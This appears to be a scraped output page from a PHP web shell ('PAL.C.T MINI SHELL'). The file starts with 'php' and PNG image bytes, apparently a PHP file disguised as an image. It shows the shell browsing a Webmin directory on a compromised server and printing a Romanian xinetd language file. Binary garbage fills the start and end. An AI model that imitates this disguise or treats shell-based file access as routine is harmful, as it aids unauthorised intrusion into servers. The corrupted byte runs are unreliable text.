php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/xinetd/lang/
upload
files >> //usr/libexec/webmin/xinetd/lang/ro.auto

index_title=Servicii de rețea
index_none=Nu au fost definite încă servicii de rețea.
index_name=Numele serviciului
index_type=Tip
index_port=Numarul portului
index_rpc=RPC
index_inet=Internet
index_proto=Protocol
index_user=Utilizator
index_server=Program de server
index_redirect=Transmite până la $1 
index_enabled=Activat?
index_internal=Intern la Xinetd
index_add_inet=Creați un nou serviciu de internet
index_add_rpc=Creați un nou serviciu RPC
index_return=lista de servicii
index_defaults=Editează Valori implicite
index_defaultsmsg=Faceți clic pe acest buton pentru a edita opțiunile implicite care se aplică tuturor serviciilor internet și RPC
index_apply=Aplica schimbarile
index_applymsg=Faceți clic pe acest buton pentru a aplica configurația curentă, trimițând un semnal SIGUSR2 la procesul rulant <tt>xinetd</tt>
index_start=Începeți Xinetd
index_startmsg=Faceți clic pe acest buton pentru a porni serverul Xinetd cu configurația curentă
index_econf=Fișierul de configurație Xinetd $1 nu există. Poate că nu este instalat, sau <a href='$2'>configurația modulului</a> este incorectă.
index_estart=Comanda de pornire a lui Xinetd $1 nu există. Poate că nu este instalat, sau <a href='$2'>configurația modulului</a> este incorectă.
index_noport=Necunoscut
index_enable=Activați selectat
index_disable=Dezactivare selectat

serv_create=Creați servicii Internet
serv_edit=Editați Serviciul Internet
serv_header1=Opțiuni de rețea de servicii
serv_header2=Opțiuni de program de servicii
serv_header3=Control acces de serviciu
serv_id=Numele serviciului
serv_port=Numarul portului
serv_port_def=Standard
serv_sock=Tip soclu
serv_proto=Protocol
serv_enabled=Serviciu activat?
serv_bind=Se leagă de adresă
serv_bind_def=Toate
serv_user=Rulați ca utilizator
serv_group=Alergați în grup
serv_group_def=De la utilizator
serv_prog=Serviciul gestionat de
serv_internal=Intern la Xinetd
serv_server=Program de server
serv_redirect=Transmite gazdă
serv_rport=port
serv_wait=Așteptați până la final?
serv_inst=Servere maxime simultane
serv_inst_def=Nelimitat
serv_nice=Nivel frumos pentru server
serv_cps0=Conexiuni maxime pe secundă
serv_cps_def=Nelimitat
serv_cps1=Întârzie dacă se atinge maximul
serv_sec=secunde
serv_from=Permiteți accesul de la
serv_from_def=Toate gazdele
serv_from_sel=Numai gazdele listate ..
serv_access=Refuză accesul de la
serv_access_def=Fără gazde
serv_access_sel=Numai gazdele listate ..
serv_times=Permiteți accesul uneori
serv_times_def=În orice moment
serv_err=Salvarea serviciului nu a reușit
serv_eid=Numele serviciului lipsit sau nevalid
serv_ebind=Adresă lipsă sau nevalidă la care să vă legați
serv_eport=Număr de port lipsă sau nevalid
serv_einst=Număr de servere concurente lipsă sau nevalide
serv_euser=Trebuie să introduceți un utilizator
serv_egroup=Trebuie să introduceți un grup
serv_estd=Nu există un număr de port standard pentru serviciul $1 
serv_eproto=Trebuie să selectați un protocol pentru acest serviciu
serv_eserver=Programul serverului lipsă sau nevalid
serv_erhost=Gazda de redirecționare lipsă sau nevalidă
serv_erport=Portul de redirecționare lipsește sau este nevalid
serv_enice=Lipsește sau este nevalid un nivel frumos
serv_ecps0=Număr de conexiuni lipsă sau nevalide pe secundă
serv_ecps1=Întârzie lipsă sau nevalidă
serv_etimes=Timpurile de acces trebuie să fie în formatul HH: MM-HH: MM

sock_stream=Curent
sock_dgram=Datagram
sock_raw=Brut
sock_seqpacket=Datagrama secvențială

proto_=Mod implicit
proto_ip=IP (Internet Protocol)
proto_tcp=TCP (Protocol de control al transmisiei)
proto_udp=UDP (User Datagram Protocol)

restart_err=Eroare la aplicarea modificărilor
restart_ekill=Eroare la trimiterea semnalului USR2 la PID $1 : $2 
restart_epid=Nu mai alerga

start_err=Nu a reușit să înceapă xinetd
start_estart=$1 a eșuat : $2 

defs_title=Opțiuni implicite
defs_header=Opțiuni implicite pentru servicii
defs_log=Mod de logare Xinetd
defs_log_def=Dezactivați înregistrarea
defs_facility=Jurnal la instalația syslog
defs_level=la nivel
defs_file=Jurnal la fișier
defs_soft=Limită de fișiere soft
defs_hard=Limită de fișier greu
defs_success=Pe jurnalul de conectare reușit
defs_success_pid=ID-ul procesului serverului
defs_success_host=Gazda la distanta
defs_success_userid=Utilizator de identitate la distanță
defs_success_exit=Starea de ieșire a serverului
defs_success_duration=Durata sesiunii
defs_failure=Pe jurnalul de conexiune eșuat
defs_failure_host=Gazda la distanta
defs_failure_userid=Utilizator de identitate la distanță
defs_failure_attempt=Încercare de conectare
defs_failure_record=Informații de la distanță
defs_err=Nu a reușit să salvați opțiunile implicite
defs_efile=Numele de fișier de jurnal lipsă sau nevalid
defs_esoft=Lipsește o limită soft nevalidă
defs_ehard=Lipsește sau nu este o limită greșită

log_create_serv=Creat serviciu $2 $1 
log_modify_serv=Serviciu modificat $2 $1 
log_delete_serv=Serviciul $2 a fost șters
log_start=A început serverul Xinetd
log_apply=Modificări aplicate
log_defaults=Opțiuni implicite modificate
log_enable=Activare $1 servicii
log_disable=Servicii dezactivate $1 
log_enable_l=Servicii activate $1 
log_disable_l=Servicii dezactivate $1 

config_dirdef=Fișier de configurare Xinetd
config_dirto=Fișier nou în director
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`